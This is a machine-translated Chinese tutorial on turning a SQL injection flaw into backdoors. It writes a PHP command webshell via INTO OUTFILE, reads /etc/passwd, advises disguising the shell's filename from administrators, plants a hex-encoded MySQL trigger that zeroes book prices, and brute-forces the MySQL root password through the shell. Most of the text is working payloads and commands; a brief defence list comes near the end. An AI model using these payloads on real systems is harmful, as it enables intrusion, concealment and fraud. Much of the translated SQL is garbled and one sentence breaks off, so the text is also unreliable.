當前位置:編程學習大全網 - 源碼下載 - 如何使用布爾註入盲sql註入

如何使用布爾註入盲sql註入

如何使用布爾註入盲sql註入

0×01,介紹…

0×02,什麽是Sql註入?..

0×03,壹個OS)後門。

0×04,弄個OS外殼。

0×05,壹個數據庫後門。

0×07,推薦的防禦措施...

0×08,結論...

0×09,參考…

0×01,簡介

如果妳正在閱讀這篇文章,我有理由相信妳聽說過壹種病毒,或者它是壹種特洛伊馬或蠕蟲。這種惡意程序會感染妳的計算機系統。壹旦妳的電腦系統被感染,當妳將被感染的電腦連接到互聯網時,它很可能會感染其他電腦。很多時候,惡意軟件不僅會從壹臺計算機傳播到另壹臺計算機,還會針對每臺被感染的計算機進行自我變異。這些變化將允許病毒遠程控制每臺計算機,並在以後感染更多的計算機系統。這些病毒在第壹次執行時,會將壹個小的可執行文件復制到用戶的磁盤上。該可執行文件將只監聽當前計算機系統未使用的端口,以便惡意軟件可以在被感染的主機連接到互聯網時隨時訪問該主機。這個小的可執行文件叫做後門。這裏我簡單解釋了壹下後門的概念。

0×02,什麽是Sql註入?

關於什麽是Sql註入以及如何發現和避免這類威脅的文章已經有1萬多篇了,不想再贅述。如果您需要了解壹些關於Sql註入的背景知識,這裏有壹篇介紹性文章的鏈接供您閱讀。在本文的最後,我還提供了壹些參考資料,供您獲取更多關於本文所討論主題的知識和信息。

0×03,壹個系統OS)後門(OS)

本文的目的是利用Sql註入來執行各種命令,最終控制操作系統。為了運行系統命令,我們需要壹個CMD shell,或者我們需要執行壹些代碼,以便能夠執行OS命令。讓我們分別嘗試這兩種方法。

0×04,弄個OS外殼。

現在我們將編寫自己的代碼,這樣我們就可以運行任何OS命令來控制操作系統。因此,從上壹篇文章中,我們已經知道搜索部分的變量存在Sql註入,並且在問題表中有四個列名。提示壹下,哈利波特的union select 1,2,3,4 #語句將得到壹個錯誤:

現在,我們想插入可以執行系統命令的PHP代碼。為了實現這個目標,我們使用MYsql提供的INTO OUTFILE特性。通過使用INTO OUTFILE,您可以將查詢的輸出重定向到系統文件。正因為如此,我們可以執行哈利波特' union select' text into file,2,3 into export file '/tmp/blah.txt ' #,然後字符串' text into file '就會存儲在/tmp目錄下的blah . txt中。如圖所示:

現在我們用基本的PHP代碼替換“文本到文件”,這樣它就可以讀取URL的參數並執行系統命令來控制操作系統。我們使用以下聲明:哈利波特的工會選擇”

就是這樣!但是有很多書我們根本不在乎。因此,我將查詢語句調整為:

聯合選擇" & lt?system($ _ REQUEST[' cmd ']);?>,2,3到outfile '/var/www/test/execmd . PHP ' #中,然後再次執行。

雖然這次回了2和3,但是好多了。

現在我們訪問execcmd.php,並將命令[cat /etc.passwd]傳遞給我們想要提交執行的參數。

成功了。通過我的多次嘗試,以下是壹些需要註意的事項。

–運行此語句的數據庫用戶需要文件權限,否則無法執行INTO OUTFILE命令。

MySQL服務運行的主機中必須有可寫的Web目錄,否則無法訪問剛剛上傳的Webshell。您可以將代碼寫入像/ttmp這樣始終可寫的目錄,但是您沒有訪問它的權限。

實現OS Shell的壹個簡單方法是使用SQLMap的內置特性。如果妳看過我之前的文章,妳會記得我用的是SQLMap。讓我們通過SQLMap做同樣的事情。

下面的OS shell截圖是用SQLMap註入時,在提示處添加壹個簡單的參數並選擇PHP Web Shell得到的。

運行壹個命令來檢查我們是否獲得了壹個Shell。好的,沒問題。

這真的太容易了。

不幸的是,從‘破壞者’的角度來看,這也很簡單。

既然有了這麽簡單快捷的方法,當然不想用之前的方法了,但是知道手動的方法總是有幫助的(這樣在使用工具失敗的時候可以有另外的方法)。還有壹點要註意,很難得到壹個

創建WebShell時,請使用與Web目錄中已存在的文件非常相似的名稱。這將幫助您隱藏您的WebShell,這樣它就不會被管理員無意中輕易發現。

在開始下壹種後門之前,我將向您展示隱藏SQLMap的方法。您可以通過設置代理來運行SQLMap。

然後當SQLMap將實際的WebShell上傳到可寫目錄時,brupSuite會攔截壹些請求。讓我們來看看這些請求。

我們可以看到壹些熟悉的東西。讓我們通過URL解碼來確認。查看底部面板上藍色突出顯示的部分。它顯示SQLMap正在使用INTO OUTFILE命令,這與我們之前手動使用的方法相同。

最後,我們來看看SQLMap上傳到WebShell的內容,很有意思。看看底部的面板。

這是關鍵。工具又壹次大大簡化了我們本該花很多時間去做的繁瑣工作。

0×05,壹個數據庫後門。

現在我們知道,當Web應用程序中存在SQL註入時,操作系統後門可以被植入系統。現在讓我們看看如何在數據庫中植入壹個後門。在繼續之前,我們需要了解壹些關於後門功能的知識。在OS後門中,我們直接訪問後門,給它傳遞壹個命令。但是這裏就沒那麽直接了。當我們插入的每壹個操作被執行時,我們配置的後門都會改變數據庫中壹些敏感數據的值。所以每本書加入數據庫時,價格都會被我們的後門設置為0,這樣人們就可以免費“購買”這些書了。這可能在現實環境中很快就會發現。

所以我們在數據庫裏有壹個叫“觸發器”的東西,基本意思是——“當我們希望發生的事情發生時,觸發觸發器去做別的事情”。這個描述確實太模糊了,不過還是舉個比較明顯的例子吧。如果妳是壹名警察,在某些時候妳會看到壹個連環殺手。妳扣動扳機開槍,對嗎?然後把它變成我們之前的場景——有壹個INSERT語句(殺手)和壹個數據庫觸發器(槍手)擊發,所以動作是釋放妳之前已經配置好的子彈。

讓我們寫壹個MySQL觸發器的例子:

分隔符#

在插入帳簿之前創建觸發價格

對於每壹行開始

set new . price = ' 0 ';

結束;#

分隔符;

b)每當我們執行Insert語句時,比如說,壹本書,我們就把它的價格設為0。它的意思是:

a)將默認MySQL分隔符設置為' # ',因為默認分隔符是';它在MySQL中被當作特殊字符,我們需要把它當作數據。所以我們把分隔符改成了' # ',表示' # '現在有了特殊的含義。

c)終止觸發器並將分隔符重置為“;”。

但是,我們使用Sql註入將觸發器復制到服務器。以下是作為搜索框輸入的句子:

' Harry Potter '和1=0 union select 0×20,0×20,0×20 INTO OUTFILE '/var/www/test/G2 '行以0x 64656 c 696d 6974657220230 a 43524544154452054524947474455207026963652044444464 f 52438結束

我將快速解釋壹下這個查詢——因為盡管它看起來很復雜——其實不然。我們使用1=0,因為我們對關於哈利波特的查詢結果不感興趣。0×20的位置只對空格‘space’搜索三次;這樣我就可以只得到我想重定向到文件'/var/www/test.g2 '的內容。然後行後面以終止的部分就是hex函數轉換的整個觸發器的形式(我用的是Brup解碼器,不要坐在那裏浪費時間手動轉換)。

讓我們運行它,看看文件/var/www/test/g2中會出現什麽。

妳註意到開頭的幾個空格了嗎?這就是我們之前看到的select 0× 20,0× 20,0× 20的功能。之後的內容顯而易見。

現在我們以某種方式執行這個查詢,然後我們的觸發器將在每次插入壹本書時被激活。有三種方法可以實現這壹點。

a)堆積查詢——哈利·波特聯盟等等等等等等;Source /var/www/test/g2但是不會成功執行,因為PHP+MySQL不支持多語句查詢。

b)濫用MySQL默認觸發行為——我還沒有測試過這個方法,但是在Stefano Di Paola的文章中描述的非常清楚。試試看。有時間我會測試壹下。

c)使用SQL註入工具(如SQLMap)運行我們保存在/var/www/test/g2中的觸發器。這是我們將要測試的方法。

讓我們再次運行SQLMap,並獲得壹個可以運行觸發器的SQL shell。

看最後壹行。不幸的是,這種方法只有在支持多語句查詢的情況下才能實現。這意味著上述選項A和C的意思是壹樣的。讓我們看看SQLMap通過代理的請求。

讓我們執行壹個簡單的語句,在Sql-shell中創建新的數據庫——“Create Database Boo;”並在Brup中查看。

正如我們所看到的,SQLMap試圖將其轉換成選擇查詢。這永遠不會成功。打嗝的相應內容證實了這壹點。

我能想到的唯壹可行的順序執行查詢的方法包括以下步驟:

-猜測有效MySQL用戶的密碼。例如,您猜測root的密碼是test123。

註入壹個OS webshell後門。

—註入壹個類似於前面格式的觸發器。

-現在通過在Webshell中運行MySQL命令來安裝觸發器。

我有幾張截圖來說明為什麽這是可行的。為了照顧初學者,這裏有壹個截圖。目前沒有表名的觸發器。

假設我們已經猜到了用戶名和密碼root和toor(通過盲目的sql暴力猜測mysql.user表)。現在讓我們詢問Web shell並傳遞壹個命令:

MySQL-u & lt;用戶名& gt-p & lt;密碼& gt& lt數據庫名稱& gt& lt/var/www/test/g2

現在我們再來看看數據庫。

看到了我們的觸發器。

現在讓我們運行壹個插入查詢,看看我們的觸發器是否會運行。那麽傑弗裏·阿切爾所有書籍的價格將會高得令人難以置信。

現在執行查詢:

看最後壹行。有些人不必付出他們認為應該付出的代價。

現在我們直接執行插入查詢來控制數據庫。在真實環境中,會有壹個添加圖書的表單,後端很可能會有壹個插入查詢,這個時候很可能會觸發觸發器。這是我沒有創建另壹個表單的唯壹原因。

顯然,壹個大前提是,我們能猜出數據庫的用戶名和密碼。這裏有壹個簡單的想法讓妳實現這個目標。

想壹些常用的數據庫用戶名(比如MySQL的root)或者通過社會工程弄壹些。

-—MySQL密碼通過哈希加密,而不是純文本。

您可以通過以下兩種方式破解密碼:

—通過SQL註入將密碼的哈希與密碼明文列表進行比較。(參考我之前的文章)

—在WebShell中運行觸發器,並提供壹個清晰的密碼列表和壹個特定的用戶名。您可以編寫壹個Perl或Ruby腳本來為您做這些事情。在遍歷明文密碼列表後嘗試插入壹本書,或者在每次猜測後找出哪個密碼是正確的。

MySQL-u root-ptoor blind SQL _ test & lt;/var/www/test/g2

MySQL-u root-proot blind SQL _ test & lt;/var/www/test/g2

MySQL-u root-ptest blind SQL _ test & lt;/var/www/test/g2

MySQL-u root-PP password blind SQL _ test & lt;/var/www/test/g2

0×07,推薦的防禦措施

a)使用參數化查詢來抵禦SQL註入攻擊。

Web目錄中不要有大量的可寫目錄。

c)限制在Web應用程序後端查詢數據庫的用戶的權限。要做到這壹點,不要給它分配文件權限。

d)設置復雜的數據庫密碼和可靠的密碼策略。

0×08,結論

這個問題的根源是Web應用中Sql註入的弱點。修復它將防止這種威脅的發生。但是,了解植入後門的不同方式是有益的。很多惡意軟件會通過這種方式傳播;還需要采取措施來防止它們。

  • 上一篇:文件夾圖標病毒的病毒源代碼
  • 下一篇:黑客是什麽意思?
  • copyright 2024編程學習大全網